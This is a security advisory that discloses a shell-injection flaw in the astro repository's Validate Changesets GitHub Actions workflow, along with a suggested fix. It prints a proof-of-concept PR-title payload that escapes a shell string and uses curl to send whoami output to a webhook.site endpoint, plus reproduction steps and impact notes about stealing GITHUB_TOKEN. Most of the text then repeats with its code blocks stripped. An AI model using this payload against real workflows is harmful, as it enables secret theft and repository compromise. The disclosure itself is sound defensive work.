Summary
A vulnerability exists in the Validate Changesets workflow in the https://github.com/withastro/astro repo which runs on the privileged pull_request_target event. The Pull Request title (github.event.pull_request.title) is used directly and unquoted in a shell command (run: block) to construct a string variable. This allows any external contributor to use shell metacharacters to break out of the variable assignment and execute arbitrary shell commands with the job's elevated GITHUB_TOKEN and permissions.
Note: to preserve confidentiality, this was tested with a minimal reproduction in a private repository.
Details
The vulnerability resides within the Collect and validate changesets step of the validate-changesets job. The script constructs the $prompt variable by embedding the unescaped context variable ${{ github.event.pull_request.title }} inside a double-quoted string assignment.
Vulnerable Code Snippet (Line constructing $prompt):
# ...
# Create the full prompt with PR context and changesets
prompt="${prompt_template}
<pr_context>
PR Title: ${{ github.event.pull_request.title }} <-- VULNERABLE LINE
</pr_context>
$changesets"
The issue occurs because the shell expands the context variable before the script executes, allowing an attacker-controlled string containing metacharacters (like ";, ;, and |) to break the shell's flow and inject a new command.
PoC (Proof of Concept)
The following payload, when used as the Pull Request Title, successfully broke out of the variable assignment and executed a curl command to exfiltrate data to an external, non-sensitive endpoint (webhook.site), confirming the command execution.
Payload Used as the PR Title:
testing"; curl -X POST -d "pwned_user=$(whoami)" https://webhook.site/b59b8b25-9dba-4e99-93df-2d5528704aa0; echo "
Steps to Reproduce:
- Fork the repository containing the vulnerable workflow.
- Create a new branch in the fork.
- Open a Pull Request from the fork to the base branch (
main/master).
- Set the PR Title to the payload above.
- Wait for the
Validate Changesets workflow to run.
- The
webhook.site URL will receive a POST request confirming the command execution (pwned_user=runner).
(note: you should generate a distinct URL by visiting webhook.site, and use that in the title)
Impact
This vulnerability allows Arbitrary Code Execution in the runner environment.
-
Access Level: The workflow runs using the pull_request_target trigger, meaning the job has access to the elevated default GITHUB_TOKEN on the target repository, as well as .
-
Consequences: An attacker could:
- Exfiltrate the
GITHUB_TOKEN and other secrets.
- Potentially push malicious code or commits to the repository.
- Abuse the explicit
pull-request: write and models: read permissions
Mitigation (Suggested Fix)
The fix is to ensure all user-controlled context variables are quoted when used within shell commands. It is recommended to assign the variable to a shell environment variable first to simplify quoting.
The vulnerable line should be replaced with a secure method, for example:
env:
PR_TITLE: ${{ github.event.pull_request.title }} # Safely transferred as an ENV variable
run: |
# ... later in the script
# Use printf with "$PR_TITLE" to ensure correct quoting and escaping
safe_pr_title=$(printf "%s" "$PR_TITLE")
# Create the full prompt (now safe)
prompt="${prompt_template}
<pr_context>
PR Title: $safe_pr_title
</pr_context>
$changesets"
As noted in the PR implementing this change, pull_request_target is inherently dangerous and hard to secure. Consider whether the utility is worth the risk.
Summary
A vulnerability exists in the
Validate Changesetsworkflow in the https://github.com/withastro/astro repo which runs on the privilegedpull_request_targetevent. The Pull Request title (github.event.pull_request.title) is used directly and unquoted in a shell command (run:block) to construct a string variable. This allows any external contributor to use shell metacharacters to break out of the variable assignment and execute arbitrary shell commands with the job's elevatedGITHUB_TOKENand permissions.Note: to preserve confidentiality, this was tested with a minimal reproduction in a private repository.
Details
The vulnerability resides within the
Collect and validate changesetsstep of thevalidate-changesetsjob. The script constructs the$promptvariable by embedding the unescaped context variable${{ github.event.pull_request.title }}inside a double-quoted string assignment.Vulnerable Code Snippet (Line constructing
$prompt):The issue occurs because the shell expands the context variable before the script executes, allowing an attacker-controlled string containing metacharacters (like
";,;, and|) to break the shell's flow and inject a new command.PoC (Proof of Concept)
The following payload, when used as the Pull Request Title, successfully broke out of the variable assignment and executed a
curlcommand to exfiltrate data to an external, non-sensitive endpoint (webhook.site), confirming the command execution.Payload Used as the PR Title:
Steps to Reproduce:
main/master).Validate Changesetsworkflow to run.webhook.siteURL will receive a POST request confirming the command execution (pwned_user=runner).(note: you should generate a distinct URL by visiting webhook.site, and use that in the title)
Impact
This vulnerability allows Arbitrary Code Execution in the runner environment.
Access Level: The workflow runs using the
pull_request_targettrigger, meaning the job has access to the elevated defaultGITHUB_TOKENon the target repository, as well as .Consequences: An attacker could:
GITHUB_TOKENand other secrets.pull-request: writeandmodels: readpermissionsMitigation (Suggested Fix)
The fix is to ensure all user-controlled context variables are quoted when used within shell commands. It is recommended to assign the variable to a shell environment variable first to simplify quoting.
The vulnerable line should be replaced with a secure method, for example:
As noted in the PR implementing this change,
pull_request_targetis inherently dangerous and hard to secure. Consider whether the utility is worth the risk.